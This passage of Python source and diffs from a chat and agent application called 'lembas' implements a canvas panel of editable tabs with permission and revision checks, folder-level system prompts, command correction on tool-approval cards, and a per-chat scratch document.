from lembas.db.models import KIND_AGENT, Attachment, Chat, SshProfile, User
from lembas.security import permissions
from lembas.services import scratch as scratch_service
from lembas.services import settings_store, sharing
from lembas.services.agent import index as index_service
from lembas.services.agent import instructions as instructions_service
from lembas.services.agent import ssh as ssh_service
from lembas.services.agent.base import Conflict, ExecError, revision_of
from lembas.services.library import documents as documents_service
from lembas.services.library import notes as notes_service
from lembas.services.library import skills as skills_service
# How many tabs a chat keeps. A model in a long reply reads forty files, and an
# unbounded strip is a strip nobody can read -- and it would live on the chat
# row forever. Past this the oldest tab that is not in front is dropped.
MAX_TABS = 12
SOURCE_AGENT = "agent"
SOURCE_NOTE = "note"
SOURCE_SKILL = "skill"
SOURCE_DOC = "doc"
SOURCE_FILE = "file"
SOURCE_SCRATCH = "scratch"
class Refused(Exception):
"""This person may not have this, or it is not there any more.
One exception for every source, because the panel answers all of them the
same way: a fragment saying so, in the tab, rather than an error page
swapped into the middle of a chat.
"""
@dataclass(frozen=True)
class Doc:
"""One open file, whatever it actually is underneath."""
key: str
title: str
subtitle: str = ""
text: str = ""
# An opaque token saying which version this was read at, round-tripped
# through a hidden field so a save can refuse a file that moved underneath.
revision: str = ""
writable: bool = False
# A filename or close enough, for choosing a lexer.
language: str = ""
markdown: bool = False
truncated: bool = False
binary: bool = False
@property
def editable(self) -> bool:
"""Whether the box is offered at all.
Not the same as `writable`. Saving back the first 256KB of a larger file
is how the rest of it is deleted, and a binary file has nothing safe to
put in a textarea -- both open read-only however the permissions read.
"""
return self.writable and not self.truncated and not self.binary
def path_key(project_dir: str, path: str) -> str:
"""One name for one file, so `./a.py` and `a.py` open the same tab.
The same normalisation `agent/tools.py:_path_key` applies to the read-path
set, and lifted here so the two cannot disagree: a tab a model opened and a
tab a person opened have to be one tab, or the panel shows the same file
twice and only one of them is the one being saved.
"""
if not posixpath.isabs(path) and project_dir:
path = posixpath.join(project_dir, path)
return posixpath.normpath(path)
def split(key: str) -> tuple[str, str]:
"""`"agent:/srv/a:b.py"` -> `("agent", "/srv/a:b.py")`.
`partition`, not `split`: a path may contain a colon, and a key that lost
half its path would silently open the wrong file.
"""
source, _, ref = (key or "").partition(":")
return source, ref
# --- The tab strip ---------------------------------------------------------------
def tabs_of(chat: Chat) -> list[dict]:
return list((chat.canvas_json or {}).get("tabs") or [])
def active_of(chat: Chat) -> str:
return str((chat.canvas_json or {}).get("active") or "")
def open_tab(state: dict, tab: dict, *, activate: bool = True) -> dict:
"""Add a tab, and optionally bring it to the front. Mutates `state`.
Mutating rather than returning a copy because the generation loop folds
several of these into one snapshot within a round: two `file_read` calls
that each read the state and wrote it back would leave only the second.
That is the lost update `plan_update` documents, in a different place.
`activate=False` is what a *model* opening a tab does, and it is the whole
of how this feature avoids being infuriating. An agent reads forty files in
a long reply; if each one took the panel, somebody reading the third would
be dragged through the other thirty-seven, and anybody halfway through an
edit would lose it. So the model fills the strip and the person decides
what is in front. A tab they open themselves activates, because opening
something and not being shown it is the opposite failure.
"""
key = str(tab.get("key") or "")
if not key:
return state
tabs = [t for t in (state.get("tabs") or []) if t.get("key") != key]
tabs.append({
"key": key,
"title": str(tab.get("title") or key)[:120],
"source": str(tab.get("source") or split(key)[0]),
})
# Evict from the front, and never the tab in front or the one just opened.
# A model reading its way through a project must not close the file
# somebody is looking at.
keep = {key, str(state.get("active") or "")}
while len(tabs) > MAX_TABS:
victim = next((t for t in tabs if t["key"] not in keep), None)
if victim is None:
break
tabs.remove(victim)
state["tabs"] = tabs
if activate or not state.get("active"):
# Not activating an empty panel would leave tabs with nothing in front,
# which reads as a panel that failed to load.
state["active"] = key
return state
def close_tab(state: dict, key: str) -> dict:
tabs = [t for t in (state.get("tabs") or []) if t.get("key") != key]
state["tabs"] = tabs
if state.get("active") == key:
state["active"] = tabs[-1]["key"] if tabs else ""
return state
def merge(stored: dict | None, live: dict | None) -> dict:
"""Fold a reply's tabs into whatever the row says now.
A union rather than an overwrite. `_persist` is the single writer, and the
snapshot it holds was taken when the reply began -- so overwriting would
drop a tab the person opened by hand while the reply was running.
"""
state = {
"tabs": list((stored or {}).get("tabs") or []),
"active": (stored or {}).get("active") or "",
}
for tab in (live or {}).get("tabs") or []:
# Never activating: what the row says is in front is what the person
# last chose, and a reply that finishes ten minutes later must not move
# it. The reply's own `active` is deliberately not consulted.
open_tab(state, tab, activate=False)
return state
# --- Which sources this chat may reach ---------------------------------------------
def agent_ready(db: DBSession, user: User, chat: Chat | None) -> SshProfile | None:
"""The profile an `agent:` tab would use, or None.
Everything `_terminal_enabled` checks except `agent.terminal`. Reading and
writing project files is what `tools.agent` is named after, and somebody who
may have a model write a file may certainly write one themselves.
Re-derived on every request. The template flag of the same name is
decoration; this is the control.
"""
if chat is None or chat.kind != KIND_AGENT or not chat.ssh_profile_id:
return None
if not permissions.has(db, user, "tools.agent"):
return None
if not settings_store.agents(db).get("enabled"):
return None
if ssh_service.available() != "":
return None
profile = db.get(SshProfile, chat.ssh_profile_id)
if profile is None or profile.owner_id != user.id or not profile.enabled:
return None
if not profile.host_key:
return None
return profile
def _executor(db: DBSession, user: User, chat: Chat) -> ssh_service.SshExecutor:
profile = agent_ready(db, user, chat)
if profile is None:
raise Refused(
"This chat has no connection you can reach. Check the connection's "
"host key on the Connections page if it has not been accepted yet."
)
return ssh_service.SshExecutor(ssh_service.spec_from(profile), chat.project_dir)
# --- Loading ------------------------------------------------------------------------
async def _load_agent(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
executor = _executor(db, user, chat)
path = path_key(chat.project_dir, ref)
try:
found = await executor.read_text(path)
except ExecError as exc:
raise Refused(str(exc)) from exc
return Doc(
key=f"{SOURCE_AGENT}:{path}",
title=posixpath.basename(path) or path,
subtitle=path,
text=found.text,
revision=found.revision,
writable=True,
language=posixpath.basename(path),
markdown=path.lower().endswith((".md", ".markdown")),
truncated=found.truncated,
binary=found.binary,
)
async def _load_note(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
_needs_library(db, user)
note = notes_service.get(db, ref, user)
if note is None:
raise Refused("That note is not there any more.")
return Doc(
key=f"{SOURCE_NOTE}:{note.id}",
title=note.title or "Note",
subtitle="Note",
text=note.body or "",
revision=_stamp(note, note.body or ""),
writable=sharing.can_write(note, user),
language="note.md",
markdown=True,
)
async def _load_skill(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
_needs_library(db, user)
skill = skills_service.get(db, ref, user)
if skill is None:
raise Refused("That skill is not there any more.")
return Doc(
key=f"{SOURCE_SKILL}:{skill.id}",
title=skill.name or "Skill",
subtitle="Skill",
text=skill.body or "",
revision=_stamp(skill, skill.body or ""),
writable=sharing.can_write(skill, user),
language="skill.md",
markdown=True,
)
async def _load_doc(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
_needs_library(db, user)
document = documents_service.get(db, ref, user)
if document is None:
raise Refused("That document is not there any more.")
return Doc(
key=f"{SOURCE_DOC}:{document.id}",
title=document.title or document.filename or "Document",
subtitle="Knowledge document",
text=document.extracted_text or document.extraction_error or "",
revision=_stamp(document, document.extracted_text or ""),
writable=documents_service.can_write(document, user),
language=document.filename or "",
markdown=(document.filename or "").lower().endswith((".md", ".markdown")),
truncated=bool(document.truncated),
)
async def _load_file(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
attachment = db.get(Attachment, ref)
if attachment is None or attachment.user_id != user.id:
raise Refused("That attachment is not there any more.")
# Belonging to this conversation, so a canvas cannot browse another one's
# files by id. `chat_id` covers one still in the composer; the message check
# covers one that has been sent.
if attachment.chat_id != chat.id:
raise Refused("That attachment belongs to another chat.")
return Doc(
key=f"{SOURCE_FILE}:{attachment.id}",
title=attachment.filename or "Attachment",
subtitle=attachment.source_path or "Attachment",
text=attachment.extracted_text or attachment.extraction_error or "",
# Read-only, and not for want of a write path: `DELETE /api/files/{id}`
# already refuses once the attachment has been sent, because it would
# rewrite a message somebody already read. Editing is the same act with
# a quieter failure.
writable=False,
language=attachment.filename or "",
markdown=(attachment.filename or "").lower().endswith((".md", ".markdown")),
truncated=bool(attachment.truncated),
)
async def _load_scratch(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
if ref != chat.id:
raise Refused("That scratch document belongs to another chat.")
doc = scratch_service.for_chat(db, chat)
return Doc(
key=f"{SOURCE_SCRATCH}:{chat.id}",
title=doc.title or "Scratch",
subtitle="This chat's scratch document",
text=doc.body or "",
revision=_stamp(doc, doc.body or ""),
writable=True,
language="scratch.md",
markdown=True,
)
# --- Saving --------------------------------------------------------------------------
async def _save_agent(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
executor = _executor(db, user, chat)
path = path_key(chat.project_dir, ref)
try:
await executor.write_text(path, text, if_unchanged=revision)
except ExecError as exc:
raise Refused(str(exc)) from exc
profile = agent_ready(db, user, chat)
if profile is not None:
# Unconditionally, unlike `file_edit` -- whose skip is an optimisation
# for the model's hot path on the grounds that the file was already
# there. The canvas can create one, and a listing known to be wrong is
# what the cache note warns about.
index_service.forget_dir(profile.id, chat.project_dir)
if instructions_service.is_instruction_file(path, chat.project_dir):
instructions_service.forget(profile.id, chat.project_dir)
return await _load_agent(db, user, chat, path)
async def _save_note(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
note = notes_service.get(db, ref, user)
if note is None:
raise Refused("That note is not there any more.")
if not sharing.can_write(note, user):
raise Refused("That note is not yours to change.")
_check_stamp(note, note.body or "", revision)
notes_service.update(db, note, body=text)
return await _load_note(db, user, chat, ref)
async def _save_skill(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
skill = skills_service.get(db, ref, user)
if skill is None:
raise Refused("That skill is not there any more.")
if not sharing.can_write(skill, user):
raise Refused("That skill is not yours to change.")
_check_stamp(skill, skill.body or "", revision)
# Snapshots into a SkillRevision first, which is why a skill needs no
# conflict story beyond the token: a clobber is recoverable.
skills_service.update(db, skill, body=text, note="Edited in the canvas")
return await _load_skill(db, user, chat, ref)
async def _save_doc(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
document = documents_service.get(db, ref, user)
if document is None:
raise Refused("That document is not there any more.")
if not documents_service.can_write(document, user):
raise Refused("That document is not yours to change.")
_check_stamp(document, document.extracted_text or "", revision)
documents_service.set_text(db, document, text)
return await _load_doc(db, user, chat, ref)
async def _save_scratch(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
if ref != chat.id:
raise Refused("That scratch document belongs to another chat.")
doc = scratch_service.for_chat(db, chat)
_check_stamp(doc, doc.body or "", revision)
scratch_service.update(db, doc, body=text)
return await _load_scratch(db, user, chat, ref)
# --- One table -------------------------------------------------------------------------
_SOURCES: dict[str, tuple] = {
SOURCE_AGENT: (_load_agent, _save_agent),
SOURCE_NOTE: (_load_note, _save_note),
SOURCE_SKILL: (_load_skill, _save_skill),
SOURCE_DOC: (_load_doc, _save_doc),
SOURCE_FILE: (_load_file, None),
SOURCE_SCRATCH: (_load_scratch, _save_scratch),
}
async def load(db: DBSession, user: User, chat: Chat, key: str) -> Doc:
source, ref = split(key)
entry = _SOURCES.get(source)
if entry is None or not ref:
raise Refused("There is nothing to open here.")
return await entry[0](db, user, chat, ref)
async def save(
db: DBSession, user: User, chat: Chat, key: str, text: str, revision: str = ""
) -> Doc:
source, ref = split(key)
entry = _SOURCES.get(source)
if entry is None or not ref:
raise Refused("There is nothing to save here.")
saver = entry[1]
if saver is None:
raise Refused("This one can only be read.")
return await saver(db, user, chat, ref, text, revision)
# --- Small shared pieces ------------------------------------------------------------------
def _needs_library(db: DBSession, user: User) -> None:
if not permissions.has(db, user, "library.use"):
raise Refused("You do not have access to the library.")
def _stamp(row, text: str) -> str:
"""A revision token for a database row.
`updated_at` alone would not move for two saves inside one clock tick, so
the length rides along -- the same pairing the file token uses, and for the
same reason. The text is passed in rather than guessed at: a note keeps it
in `body` and a document in `extracted_text`, and a getattr chain that
silently found neither would hand every row the same token.
"""
when = getattr(row, "updated_at", None)
if when is not None and when.tzinfo is None:
# SQLite does not store the offset, so a row loaded from disk comes back
# naive while one still in the session's identity map keeps the tzinfo
# it was created with -- and `.timestamp()` reads a naive value as local
# time. Without this the same row yields two different tokens depending
# on where it was loaded, and every save outside UTC would report a
# conflict that is not there. The same normalisation
# `compaction.moment` makes, for the same reason.
when = when.replace(tzinfo=UTC)
return revision_of(int(when.timestamp()) if when else 0, len(text or ""))
def _check_stamp(row, text: str, revision: str) -> None:
"""Refuse a save whose token no longer matches. An empty token overwrites.
Empty is what Overwrite on the conflict card sends: somebody has been shown
both versions and chosen. Never save silently over a change; never discard
silently either.
"""
if revision and _stamp(row, text) != revision:
raise Conflict(_stamp(row, text))
src/lembas/services/chat.py
+32 -2
View File
@@ -149,23 +149,53 @@ def message_payload(message: Message, *, vision: bool) -> dict[str, Any]:
return {"role": message.role, "content": parts}
def folder_system_prompt(db: DBSession, chat: Chat) -> str:
"""The nearest prompt on the chat's folder, or on a folder above it.
Walks up rather than reading one level, because folders nest and a project's
prompt belongs on the project rather than on each sub-folder of it. The
nearest one wins, which is the same rule the ladder as a whole follows.
Bounded and cycle-safe the way `api/folders.py:_depth_of` is. Reparenting
already refuses to build a cycle, but this runs on the request path for
every reply and a row written by something else must not be able to hang it.
"""
from lembas.db.models import Folder
folder = chat.folder
seen: set[str] = set()
while folder is not None and folder.id not in seen:
seen.add(folder.id)
if (folder.system_prompt or "").strip():
return folder.system_prompt.strip()
folder = db.get(Folder, folder.parent_id) if folder.parent_id else None
return ""
def effective_system_prompt(db: DBSession, chat: Chat) -> str:
"""The system prompt a chat actually runs with.
Three layers, most specific wins outright:
Four layers, most specific wins outright:
chat > model > instance
chat > folder > model > instance
Precedence rather than concatenation. Stacking them reads well in a
settings screen and badly in practice: the moment two layers disagree the
model gets contradictory instructions and nobody can tell which one is
losing. With precedence, "why is it behaving like this" has one answer.
The folder sits above the model because it is the more specific statement:
a model's prompt describes the model wherever it is used, and a folder's
describes this piece of work whichever model is pointed at it.
"""
from lembas.services import settings_store
if chat.system_prompt.strip():
return chat.system_prompt.strip()
if inherited := folder_system_prompt(db, chat):
return inherited
model = db.scalar(
select(Model).where(Model.model_id == chat.model_id).order_by(Model.position)
)
src/lembas/services/generation.py
+133 -22
View File
@@ -17,6 +17,7 @@ from __future__ import annotations
import asyncio
import contextlib
import json
import logging
import time
import uuid
@@ -27,6 +28,7 @@ from sqlalchemy import select
from lembas.db.models import KIND_AGENT, ROLE_ASSISTANT, ROLE_USER, Chat, Message, User
from lembas.db.session import session_scope
from lembas.services import canvas as canvas_service
from lembas.services import chat as chat_service
from lembas.services import compaction as compaction_service
from lembas.services import interaction, settings_store, tokens, tool_labels
@@ -166,6 +168,12 @@ class Generation:
# `_persist` stays one writer with one rule; only this decides whether the
# tools are withdrawn for a final round.
plan_final: bool = False
# Which files this reply has put in the canvas panel. Seeded once from
# `chat.canvas_json` where `_run` already has the chat loaded, then mutated
# in place -- two `file_read` calls in one round that each re-read the row
# would leave only the second, which is the lost update `plan` above
# documents. Folded back by `_persist`, the single writer.
canvas: dict = field(default_factory=dict)
# The queue, seen from the reply's side. `drained` says this reply's ending
# handed the next waiting prompt to a fresh one; `injected_ids` names the
# prompts taken into *this* reply between two rounds of tool calls. Both are
@@ -405,6 +413,19 @@ async def _run(generation: Generation) -> None:
)
question = _question_from(payload)
needs_title = not chat.title_generated
# An agent chat is titled from its opening words and never costs a
# model call for it. That prompt is a good title already -- somebody
# starting one states an objective, not a topic -- while an ordinary
# chat opens with a question, whose answer is what makes a title
# worth asking for. Read here with the rest, because titling happens
# after this session has closed.
title_from_prompt = chat.kind == KIND_AGENT
# Seeded once, here, where the chat is already loaded. Mutated from
# then on; see the field's own note.
generation.canvas = {
"tabs": list((chat.canvas_json or {}).get("tabs") or []),
"active": (chat.canvas_json or {}).get("active") or "",
}
# Read here, with the rest, because titling happens after this
# session has closed and must not open another one.
title_prompt = prompts_service.resolve(db, "task.title")
@@ -585,15 +606,6 @@ async def _run(generation: Generation) -> None:
generation.touch()
break
messages = [
# The **raw** arguments string, not the parsed dict: the
# endpoint has to see back exactly what it sent, or an
# id-matching server pairs its own call with something it does
# not recognise.
*payload["messages"],
tools_service.assistant_turn(calls, "".join(round_text)),
]
# Parsed once, here, and shared by everything below: the approval
# card, `policy.decide`, and the runner. See `_arguments_for`.
arguments = _arguments_for(tool_context, calls)
@@ -602,10 +614,27 @@ async def _run(generation: Generation) -> None:
# together under a semaphore, and four people-shaped pauses inside
# that gather would queue behind each other invisibly -- see
# services/interaction.py.
decided, allowed = await _authorise(generation, tool_context, calls, arguments)
decided, allowed, edited = await _authorise(
generation, tool_context, calls, arguments
)
if generation.stopped:
break
messages = [
# The **raw** arguments string, not the parsed dict: the
# endpoint has to see back exactly what it sent, or an
# id-matching server pairs its own call with something it does
# not recognise.
#
# Built after `_authorise` rather than before it, because a
# command corrected on the approval card is written back into
# `calls` there. The other order sent the model the command it
# proposed while a different one ran, and every later round
# reasoned from a transcript that was quietly false.
*payload["messages"],
tools_service.assistant_turn(calls, "".join(round_text)),
]
generation.status = _tool_status(calls)
generation.touch()
try:
@@ -616,10 +645,24 @@ async def _run(generation: Generation) -> None:
generation.status = ""
generation.touch()
for call, outcome in zip(calls, outcomes, strict=True):
for index, (call, outcome) in enumerate(zip(calls, outcomes, strict=True)):
if index in edited:
# A command somebody corrected on the card is theirs, not
# the model's. Shown as such, for the same reason a plan
# goes back quoted and attributed: text must not arrive
# wearing an authorship it does not have, in either
# direction.
outcome.event["edited"] = True
generation.tool_events.append(outcome.event)
generation.output_bytes += len(outcome.content)
messages.append(tools_service.tool_turn(call, outcome.content))
if opened := outcome.event.get("canvas"):
# A runner cannot write the message row, so the loop carries
# this exactly as it carries a merged plan. Never activated:
# an agent reads forty files in a long reply, and dragging
# somebody through all of them -- or away from a file they
# are editing -- is what makes a panel like this unusable.
canvas_service.open_tab(generation.canvas, opened, activate=False)
if outcome.event.get("plan"):
generation.plan = outcome.event["plan"]
# Only `plan_submit` sets this. `plan_update` writes the
@@ -698,7 +741,7 @@ async def _run(generation: Generation) -> None:
# a chat title is never worth surfacing an error for.
title = ""
if needs_title and question:
if generation.error or endpoint is None:
if title_from_prompt or generation.error or endpoint is None:
title = chat_service.fallback_title(question)
else:
with contextlib.suppress(Exception):
@@ -1102,6 +1145,12 @@ def _approvals(context, calls: list[dict], arguments: list[dict]) -> list[intera
detail=detail,
reason=decision.reason,
purpose=agent_tools.why_of(args),
# A card showing one argument can offer to correct it. A model
# proposing the right command with one flag wrong is the common
# case, and Allow-or-Don't makes that a whole round trip to
# explain. Anything whose detail is a summary rather than a
# value cannot be put back and is not offered the box.
editable=bool(tool_labels.DETAIL_KEYS.get(call["name"])),
)
)
return items
@@ -1171,12 +1220,13 @@ def _questions_in(args: dict) -> list[dict]:
async def _authorise(
generation, context, calls: list[dict], arguments: list[dict]
) -> tuple[dict[int, ToolOutcome], set[int]]:
) -> tuple[dict[int, ToolOutcome], set[int], set[int]]:
"""Which of this round's calls may run, and what the others answer instead.
Returns outcomes keyed by the call's index. Every index the caller does not
find here is cleared to run; every index it does find is answered without
the runner being reached at all. That is what keeps
Returns outcomes keyed by the call's index, the indices a person allowed,
and the indices whose command they corrected on the way. Every index the
caller does not find in the first is cleared to run; every index it does
find is answered without the runner being reached at all. That is what keeps
`zip(calls, outcomes, strict=True)` aligned -- an endpoint matching on
`tool_call_id` pairs the wrong content with the right id otherwise.
@@ -1184,12 +1234,17 @@ async def _authorise(
told. They re-check the mode as a backstop and would otherwise refuse the
very thing that was just approved -- the mode says "ask", and asking is what
happened.
A command corrected on the card is written back into `arguments` **in
place**, because that same list is what `_run_calls` hands to `run_tool` as
`parsed=` and `run_tool` never re-parses. Editing the item would do nothing:
`Item` is display-only and frozen. This is the one place the two meet.
"""
questions = _ask_items(context, calls, arguments)
approvals = _approvals(context, calls, arguments)
items = [*approvals, *questions]
if not items:
return {}, set()
return {}, set(), set()
timeout = float(context.interaction_timeout or 900)
pause = interaction.build(uuid.uuid4().hex, items, timeout=timeout)
@@ -1199,19 +1254,25 @@ async def _authorise(
if reply.ended:
generation.stopped = True
return {}, set()
return {}, set(), set()
decided: dict[int, ToolOutcome] = {}
allowed: set[int] = set()
edited: set[int] = set()
# An approval that came back as a refusal answers its call without the
# runner being reached; one that came back allowed is simply left out, which
# is how `_run_calls` is told to go ahead.
for item in approvals:
if reply.permitted:
allowed.add(item.index)
continue
if not reply.permitted:
decided[item.index] = _not_allowed(item, reply)
continue
if _apply_edit(calls, arguments, item, reply) != item.detail:
# So the transcript can say the command was changed before it ran.
# Without it a reader scrolling back sees a command attributed to
# the model that the model never wrote.
edited.add(item.index)
allowed.add(item.index)
# Questions are grouped back by call, because one `ask_user` call may have
# carried several and the endpoint expects exactly one tool turn per call.
@@ -1221,7 +1282,52 @@ async def _authorise(
for index, asked in grouped.items():
decided[index] = _answered(asked, reply)
return decided, allowed
return decided, allowed, edited
def _apply_edit(
calls: list[dict],
arguments: list[dict],
item: interaction.Item,
reply: interaction.Reply,
) -> str:
"""Put a corrected command back where the runner will find it.
Returns what is going to run, edited or not, so the caller can record the
right thing. Two writes, and both are needed:
`arguments[index]` is what `run_tool` is handed as `parsed=`, and it never
re-parses -- so this is the only write that reaches the runner. Editing the
item would do nothing at all: `Item` is frozen and display-only.
`call["arguments"]`, the raw string, is rewritten beside it, because that is
what goes back to the endpoint as the assistant turn. Otherwise the model is
told it ran what it proposed rather than what actually ran, and every later
round reasons from a transcript that is quietly false.
Nothing is re-checked against the mode or the lists. That is the same line
the terminal panel and the directory browser draw, and here it is not even
close: the deny list resolves to ASK rather than to a refusal -- it means
"always ask about this" -- and a person who has typed the command themselves
and pressed Allow is exactly the asking it was demanding. Re-asking would
put the same card up again with no way past it. The instance's list still
governs the *model*: a pattern remembered by "always allow" is checked by
`decide`, where a deny hit wins before the allow list is even read.
"""
if not item.editable:
return item.detail
edited = reply.answer_to(item)
key = tool_labels.DETAIL_KEYS.get(item.tool_name)
if not edited or edited == item.detail or not key:
return item.detail
arguments[item.index] = {**arguments[item.index], key: edited}
calls[item.index] = {
**calls[item.index],
"arguments": json.dumps(arguments[item.index]),
}
return edited
def _not_allowed(item: interaction.Item, reply: interaction.Reply) -> ToolOutcome:
@@ -1505,6 +1611,11 @@ def _persist(generation: Generation, title: str, elapsed: float) -> None:
message.reasoning_ms = generation.reasoning_ms
message.tool_calls_json = generation.tool_events
message.plan_json = generation.plan or {}
if generation.canvas.get("tabs"):
# A union with whatever the row says *now*, not an overwrite:
# the snapshot above was seeded when the reply began, and
# somebody may have opened a tab by hand since.
chat.canvas_json = canvas_service.merge(chat.canvas_json, generation.canvas)
if generation.plan:
# This bubble now carries the plan in force, and the chat points
# at it so the harness can find it with one primary-key lookup
src/lembas/services/interaction.py
+6
View File
@@ -85,6 +85,12 @@ class Item:
purpose: str = ""
options: tuple[str, ...] = ()
allow_free_text: bool = True
# Whether `detail` can be corrected before this is allowed. Only where the
# detail *is* one argument and can be put back where it came from -- a tool
# with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary that
# cannot be parsed back, and offering a box that silently changed nothing
# would be worse than offering none.
editable: bool = False
@dataclass
src/lembas/services/library/documents.py
+40
View File
@@ -254,6 +254,46 @@ def get(db: DBSession, document_id: str, user: User | None) -> Document | None:
return document
def can_write(document: Document, user: User | None) -> bool:
"""Whether this person may change a document's text.
Ownership, through the same helper every other library store uses. Sharing
grants **reading only**, so being able to see a document through somebody
else's base is never enough to rewrite it -- and reading is already settled
by `get`, which resolves visibility through the base.
Its own function rather than `sharing.can_write` at the call site because
`Document` is the one store whose visibility does not come from itself, and
a reader arriving at a bare `sharing.can_write(document, …)` would have to
go and check whether that is the right question.
"""
return sharing.can_write(document, user)
def set_text(db: DBSession, document: Document, text: str) -> Document:
"""Replace the extracted text a person reads and a model searches.
The stored file is untouched: the bytes are the record, and this is what was
made of them. That is the same line PDF extraction draws -- extracted once
at upload, so a reply cannot change because a parser was upgraded -- and it
is why editing this is safe for transcripts: `files.copy_document` copies
the text when a document is attached, so an edit only changes what future
searches find.
`extraction_error` is cleared, because replacing a failed extraction by hand
is the main reason to want this at all; leaving the old apology beside the
new text would be the page contradicting itself.
The commit fires the `documents_fts` UPDATE trigger, so search stays correct
with nothing else to do. See `db/migrations.py:ensure_fts`.
"""
document.extracted_text = text[:files_service.MAX_EXTRACTED_CHARS]
document.truncated = len(text) > files_service.MAX_EXTRACTED_CHARS
document.extraction_error = ""
db.commit()
return document
def search(
db: DBSession,
user: User | None,
src/lembas/services/markdown.py
+38 -1
View File
@@ -19,7 +19,7 @@ import nh3
from markdown_it import MarkdownIt
from pygments import highlight
from pygments.formatters import HtmlFormatter
from pygments.lexers import get_lexer_by_name, guess_lexer
from pygments.lexers import get_lexer_by_name, get_lexer_for_filename, guess_lexer
from pygments.util import ClassNotFound
# Class-based highlighting; the colours come from theme tokens in chat.css, so
@@ -95,6 +95,43 @@ def _render_fence(tokens, idx, _options, _env) -> str:
)
def highlight_code(text: str, filename: str = "") -> str:
"""A whole file, class-highlighted, for the canvas panel to read.
Here rather than in a module of its own because `markdown.py` is where
pygments lives and `_FORMATTER` is already configured: a second formatter
would mean a second set of class names and a second thing to theme, and the
`.pg-*` rules would then be right about code fences and wrong about files.
Pygments' `HtmlFormatter` escapes what it is given, which is what makes this
the one call the canvas templates mark `|safe`. The content came off
somebody else's disk, so that property is the whole of the argument -- if
the lexer cannot be found the text is escaped by hand instead, never passed
through.
Chooses by filename, because that is what the canvas has: a lexer guessed
from contents is confidently wrong on short files, and there is no fence
info string here to read a language out of.
"""
if not text:
return ""
lexer = None
if filename:
try:
lexer = get_lexer_for_filename(filename, stripall=False)
except (ClassNotFound, ValueError):
lexer = None
if lexer is None and len(text) > 200:
try:
lexer = guess_lexer(text)
except (ClassNotFound, ValueError):
lexer = None
body = nh3.clean_text(text) if lexer is None else highlight(text, lexer, _FORMATTER)
return f'<pre class="canvas__code"><code>{body}</code></pre>'
@functools.lru_cache(maxsize=1)
def _parser() -> MarkdownIt:
md = MarkdownIt("commonmark", {"linkify": True, "typographer": False})
src/lembas/services/prompts.py
+21
View File
@@ -924,6 +924,27 @@ BUILTIN: tuple[Fragment, ...] = (
"since that is all you will see next time."
),
),
Fragment(
key="tool.scratch",
label="The scratch document",
group=GROUP_TOOLS,
order=245,
families=("scratch",),
hint="Appears when scratch_write is offered. The point worth making to "
"a model is the one it cannot infer from the schema: this is *watched* "
"while it is written, so building something up here is visible work "
"rather than a result announced at the end — and it is not searchable "
"afterwards, which is what keeps it from being used as a note.",
default=(
"- This chat has a scratch document, open beside the conversation and visible "
"to the person as you write it. Use scratch_write for something you build up "
"as you work — a draft, a table of findings, a list you keep adding to — "
"rather than repeating the whole thing in each reply. Append unless you mean "
"to start again. They can edit it themselves and attach it to a later message. "
"It belongs to this chat and cannot be searched afterwards, so anything worth "
"keeping beyond it is a note."
),
),
# --- Context -------------------------------------------------------------
Fragment(
key="context.knowledge_scope",
src/lembas/services/scratch.py
+82
View File
@@ -0,0 +1,82 @@
"""A chat's own working surface.
One text artefact per chat, written by the model through `scratch_write` and by
the person through the canvas panel, and handed to a message as an ordinary
attachment when it is ready.
Not a note. A note is a durable artefact of the reader's that outlives the chat
and is searchable; this is the chat's own record of what it is working on, which
is the line `plan_update` sits on rather than `notes_edit`. It is deliberately
not injected as context every turn either -- that is what a memory is for, and a
working document injected whole on every request is how a window fills up.
"""
from __future__ import annotations
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import AUTHOR_USER, Chat, ScratchDoc
# Between a note's 40k and an attachment's 120k. Large enough to hold a draft
# somebody is actually working on, small enough that attaching one does not
# quietly cost most of a context window.
MAX_BODY_CHARS = 100_000
MAX_TITLE_CHARS = 300
def get(db: DBSession, chat: Chat) -> ScratchDoc | None:
"""The chat's pad, or None. No side effect.
Separate from `for_chat` because the harness and the mention picker ask
whether there is one, and a question must not create the thing it asks
about -- otherwise every chat ever opened acquires an empty row.
"""
return db.scalar(select(ScratchDoc).where(ScratchDoc.chat_id == chat.id))
def for_chat(db: DBSession, chat: Chat) -> ScratchDoc:
"""The chat's pad, made if it is not there yet."""
existing = get(db, chat)
if existing is not None:
return existing
doc = ScratchDoc(chat_id=chat.id, user_id=chat.user_id)
db.add(doc)
db.commit()
return doc
def update(
db: DBSession,
doc: ScratchDoc,
*,
body: str | None = None,
title: str | None = None,
author: str = AUTHOR_USER,
) -> ScratchDoc:
"""Replace what is in the pad. Absent arguments are left alone.
The body is **not** stripped, unlike a note's. This is a document somebody
is editing, and trailing whitespace they typed is theirs -- a save that
silently trims the line you are standing on is the kind of thing that makes
an editor feel broken.
"""
if title is not None and title.strip():
doc.title = title.strip()[:MAX_TITLE_CHARS]
if body is not None:
doc.body = body[:MAX_BODY_CHARS]
doc.author = author
db.commit()
return doc
def append(db: DBSession, doc: ScratchDoc, text: str, *, author: str) -> ScratchDoc:
"""Add to the end, with a blank line between what was there and what is new.
Its own function rather than the caller reading and concatenating, because
two calls in one round would otherwise each read the same body and the
second would drop the first -- the same lost update `plan_update` documents.
"""
existing = doc.body or ""
joined = f"{existing.rstrip()}\n\n{text}" if existing.strip() else text
return update(db, doc, body=joined, author=author)
src/lembas/services/tool_labels.py
+3
View File
@@ -61,6 +61,7 @@ LABELS: dict[str, str] = {
"notes_create": "Note written",
"notes_edit": "Note updated",
"notes_delete": "Note deleted",
"scratch_write": "Canvas written",
"memory_add": "Memory saved",
"memory_forget": "Memory removed",
"skill_get": "Skill read",
@@ -92,6 +93,7 @@ ICONS: dict[str, str] = {
"notes_create": "pencil",
"notes_edit": "pencil",
"notes_delete": "trash",
"scratch_write": "file-text",
